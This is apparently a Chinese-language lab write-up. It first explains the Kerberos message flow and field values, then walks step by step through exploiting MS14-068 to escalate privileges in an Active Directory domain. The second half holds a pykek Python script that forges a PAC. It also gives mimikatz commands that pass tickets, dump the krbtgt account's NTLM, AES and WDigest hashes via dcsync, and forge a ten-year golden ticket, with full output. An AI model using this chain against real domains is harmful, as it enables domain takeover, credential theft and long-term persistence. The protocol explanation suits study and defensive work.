协议介绍
Kerberos是一种由MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。
在Kerberos协议中主要是有三个角色的存在:
访问服务的Client(以下表述为Client 或者用户)
提供服务的Server(以下表述为服务)
KDC(Key Distribution Center)密钥分发中心
其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。
AS_REQ: Client向KDC发起AS_REQ,请求凭据是Client hash加密的时间戳
AS_REP: KDC使用Client hash进行解密,如果结果正确就返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含Client的sid,Client所在的组。
TGS_REQ: Client凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
TGS_REP: KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)
AP_REQ: Client拿着TGS票据去请求服务
AP_REP: 服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。
我们使用下面的工具研究kerberos的发包
https://github.com/daikerSec/windows_protocol/raw/master/tools/kerberosGui.exe
AS_REQ
AS_REQ是Client
首先向KDC发起的请求,请求的票据是Client hash
加密的时间戳,主要的目的在于获取向KDC获取krbtgt hash加密的TGT票据
,票据中包含了PAC,PAC包含Client的sid,Client所在的组。
请求包涉及如下字段
pvno
kerberos 版本号,这里为5表示的是使用Kerbeos V5
msg-type
消息类型,AS_REQ对应的就是KRB_AS_REQ(0x0a)
padata
主要是一些认证信息。一个列表,包含若干个认证消息用于认证,我们也可以Authenticator。每个认证消息有type和value。
其中type主要有以下这些值
NONE = 0,
TGS_REQ = 1,
AP_REQ = 1,
ENC_TIMESTAMP = 2,
PW_SALT = 3,
ENC_UNIX_TIME = 5,
SANDIA_SECUREID = 6,
SESAME = 7,
OSF_DCE = 8,
CYBERSAFE_SECUREID = 9,
AFS3_SALT = 10,
ETYPE_INFO = 11,
SAM_CHALLENGE = 12,
SAM_RESPONSE = 13,
PK_AS_REQ_19 = 14,
PK_AS_REP_19 = 15,
PK_AS_REQ_WIN = 15,
PK_AS_REQ = 16,
PK_AS_REP = 17,
PA_PK_OCSP_RESPONSE = 18,
ETYPE_INFO2 = 19,
USE_SPECIFIED_KVNO = 20,
SVR_REFERRAL_INFO = 20,
SAM_REDIRECT = 21,
GET_FROM_TYPED_DATA = 22,
SAM_ETYPE_INFO = 23,
SERVER_REFERRAL = 25,
TD_KRB_PRINCIPAL = 102,
PK_TD_TRUSTED_CERTIFIERS = 104,
PK_TD_CERTIFICATE_INDEX = 105,
TD_APP_DEFINED_ERROR = 106,
TD_REQ_NONCE = 107,
TD_REQ_SEQ = 108,
PA_PAC_REQUEST = 128,
S4U2SELF = 129,
PA_PAC_OPTIONS = 167,
PK_AS_09_BINDING = 132,
CLIENT_CANONICALIZED = 133
这里是128
表示PA_PAC_REQUEST
在AS_REQ阶段主要用到的有两个
- ENC_TIMESTAMP
这个是预认证,就是用用户hash加密时间戳,作为value发送给AS服务器。然后AS服务器那边有用户hash,使用用户hash进行解密,获得时间戳,如果能解密,且时间戳在一定的范围内,则证明认证通过 - PA_PAC_REQUEST
这个是启用PAC支持的扩展。PAC(Privilege Attribute Certificate)并不在原生的kerberos里面,是微软引进的扩展。PAC包含在AS_REQ的响应body(AS_REP)。这里的value对应的是include=true或者include=false(KDC根据include的值来判断返回的票据中是否携带PAC)。REQ_BODY
kdc-options
kdc-options 一些flag 字段
VALIDATE = 0x00000001,
RENEW = 0x00000002,
UNUSED29 = 0x00000004,
ENCTKTINSKEY = 0x00000008,
RENEWABLEOK = 0x00000010,
DISABLETRANSITEDCHECK = 0x00000020,
UNUSED16 = 0x0000FFC0,
CANONICALIZE = 0x00010000,
CNAMEINADDLTKT = 0x00020000,
OK_AS_DELEGATE = 0x00040000,
UNUSED12 = 0x00080000,
OPTHARDWAREAUTH = 0x00100000,
PREAUTHENT = 0x00200000,
INITIAL = 0x00400000,
RENEWABLE = 0x00800000,
UNUSED7 = 0x01000000,
POSTDATED = 0x02000000,
ALLOWPOSTDATE = 0x04000000,
PROXY = 0x08000000,
PROXIABLE = 0x10000000,
FORWARDED = 0x20000000,
FORWARDABLE = 0x40000000,
RESERVED = 0x80000000
类似于一些标志位(类似于TCP的标志位),例如renewable的标志位为1,则表示可以使KDC定期续签使用寿命长的票证。
cname
主要包含的就是请求的用户和所在域的名称
此处我的用户名为krbuser,属于NT-PRINCIPAL,value值为1
- 0: NT-UNKNOWN Name type not known
- 1: NT-PRINCIPAL Just the name of the principal as in DCE, or for users
- 2: NT-SRV-INST Service and other unique instance (krbtgt)
- 3: NT-SRV-HST Service with host name as instance (telnet, rcommands)
- 4: NT-SRV-XHST Service with host as remaining components
- 5: NT-UID Unique ID
sname
sname 这个包含的是服务端的身份,还有所在域名称。till为到期时间,nonce为随机生成数
name-type:名字类型,这里是 KRB5-NT-PRINCIPAL(1)etype
etype 加密类型。KDC通过etype中的加密类型来选择用户对应的hash来解密
etype 加密类型。KDC通过etype中的加密类型来选择用户对应的hash来解密
AS_REP
不重复介绍字段
ticket
因为AS-REP这个过程返回的是用krbtgt账户hash加密的,本质是一张TGT,因此我们如果能够拿到krbtgt的账户hash和SID的话就可以来伪造一张TGT,这就是黄金票据
tkt-vno 票据格式的版本号
realm 派发该票据域的名称
sname 该票据所属的服务端的身份
enc-part 用KDC的密钥(即krbtgt的密钥)加密的票据部分
参考链接
https://daiker.gitbook.io/windows-protocol/kerberos/
https://loong716.top/posts/Kerberos/
MS14-068
这个漏洞是由于kerberos的tgt的校验可以通过md5
从而绕过签名,并且pac
可以嵌入任意位置,kerberos服务器会主动将其它地方的票据从新塞到新的黄金票据里面,从而达到绕过的目的
发包之前得先清空票据klist purge
搜先第一步是制作一份没有包含pac的tgt
导出票据之后再用这个空票据和构造的pac获取黄金票据,要注意填入TGT的authtime
用pykek里面的脚本构造
在主要函数里面需要更改域、用户、SID(whoami /all获取)
from kek.pac import build_pac
from kek.util import gt2epoch
from kek.krb5 import AD_WIN2K_PAC,AuthorizationData,AD_IF_RELEVANT
from pyasn1.codec.der.encoder import encode
if __name__ == '__main__':
user_realm = "qyy.com" #
user_name = "krbuser" #
user_sid = "S-1-5-21-3825387586-3738681247-1537894361-1104" #sid
# logon_time = gt2epoch(str(as_rep_enc['authtime']))
logon_time = gt2epoch('20250630170648Z')#authtime
#print(logon_time)
authorization_data = (AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid, logon_time))
#print(authorization_data[1])
ad1 = AuthorizationData()
ad1[0] = None
ad1[0]['ad-type'] = authorization_data[0]
ad1[0]['ad-data'] = authorization_data[1]
ad = AuthorizationData()
ad[0] = None
ad[0]['ad-type'] = AD_IF_RELEVANT
ad[0]['ad-data'] = encode(ad1)
data = encode(ad)
with open("kbs.pac","wb") as f:
f.write(data)
注意需要用python2
运行
生成好了之后在下方导入,之后就可以获取黄金票据了,而且权限组很高
再使用mimikatz导入票据
kerberos::ptt ms14068.kirbi
就获取到最高权限了
权限维持
获取最高权限之后,我们的任务是获取到krbtgt
的密钥,这样我们就可以自由构造tgt了
我们使用mimikatz同步用户的hash
lsadump::dcsync /user:krbtgt
mimikatz # lsadump::dcsync /user:krbtgt
[DC] 'qyy.com' will be the domain
[DC] 'WIN-H292POUEGL1.qyy.com' will be the DC server
[DC] 'krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 2025/6/27 9:41:47
Object Security ID : S-1-5-21-3825387586-3738681247-1537894361-502
Object Relative ID : 502
Credentials:
Hash NTLM: b00217797412bf531bdd9d82e8907050
ntlm- 0: b00217797412bf531bdd9d82e8907050
lm - 0: 54a85d6812ee1929edaa69432d8e7214
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : QYY.COMkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 1da14a504b9269d0375cf5e75245e8a9bb600ab9b2beb864911557c98d7f9c85
aes128_hmac (4096) : df5c4e6ddf55f6b061387c8088cb10f1
des_cbc_md5 (4096) : 6794525e0b3ece89
* Primary:Kerberos *
Default Salt : QYY.COMkrbtgt
Credentials
des_cbc_md5 : 6794525e0b3ece89
* Packages *
Kerberos-Newer-Keys
* Primary:WDigest *
01 a0c74cf5371213fc89b7c10e65a2ddcd
02 8afa5447f6da134752e3bba3105a83bd
03 eb5b83dac40e1b4f54498f9d3c034b71
04 a0c74cf5371213fc89b7c10e65a2ddcd
05 8afa5447f6da134752e3bba3105a83bd
06 58361e59e6dbf1330a04073402c7d968
07 a0c74cf5371213fc89b7c10e65a2ddcd
08 1eaf32575f9b3695319dc3c2effe278e
09 1eaf32575f9b3695319dc3c2effe278e
10 1a52853c666c560aebd1f092f8dd5abd
11 bcd214ef32d7c5705d23e623346758df
12 1eaf32575f9b3695319dc3c2effe278e
13 089dc3a29680f83cce2fc540b45809ca
14 bcd214ef32d7c5705d23e623346758df
15 66f8d06f7ec00368f9dcc61c41ceb116
16 66f8d06f7ec00368f9dcc61c41ceb116
17 3ed1cb2ec8b9b46a2efe3740870d62a6
18 83a60b96355847d6031dea3466c5471d
19 bd0222bb7e5bd55f2d6376aecb821fcf
20 5c2004ecef47d9a46c7b1e7e47e6f161
21 dbd60c17751b61088b61dd927fbb8314
22 dbd60c17751b61088b61dd927fbb8314
23 3c04ca8e8d44421900175ecb5b0e7380
24 f16c332cd4b2202986d5469d29930956
25 f16c332cd4b2202986d5469d29930956
26 4a961ba21176444933c0401bde259f17
27 c8ecb85fc6a21df1996d1d0f7dd7d6f5
28 8361ed1bd2d1f30a3973461a362ba383
29 01df6c56b0a852ba7c7be3136d9af148
我们获取到这些数据就可以制作票据了
在制作票据之前我们先把票据清空
mimikatz # kerberos::purge
Ticket(s) purge for current session is OK
然后就可以利用mimikatz制作了
mimikatz # kerberos::golden /domain:qyy.com /sid:S-1-5-21-3825387586-3738681247-1537894361 /aes256:1da14a504b9269d0375cf5e75245e8a9bb600ab9b2beb864911557c98d7f9c85 /user:qiuyuyang /service:cifs /ticket:golden.kirbi
User : qiuyuyang
Domain : qyy.com (QYY)
SID : S-1-5-21-3825387586-3738681247-1537894361
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 1da14a504b9269d0375cf5e75245e8a9bb600ab9b2beb864911557c98d7f9c85 - aes256_hmac
Service : cifs
Lifetime : 2025/7/1 1:47:34 ; 2035/6/29 1:47:34 ; 2035/6/29 1:47:34
-> Ticket : golden.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
service
- cifs用于文件访问
我们再把制作的传入本地
mimikatz # kerberos::ptt golden.kirbi
* File: 'golden.kirbi': OK
如果不加协议,即service时,就是一张存粹的票据
那么在你使用的时候,比如dir \\WIN-H292POUEGL1.qyy.com\c$
会直接用这个票据申请到对应服务的票据
这样你就会多出来票据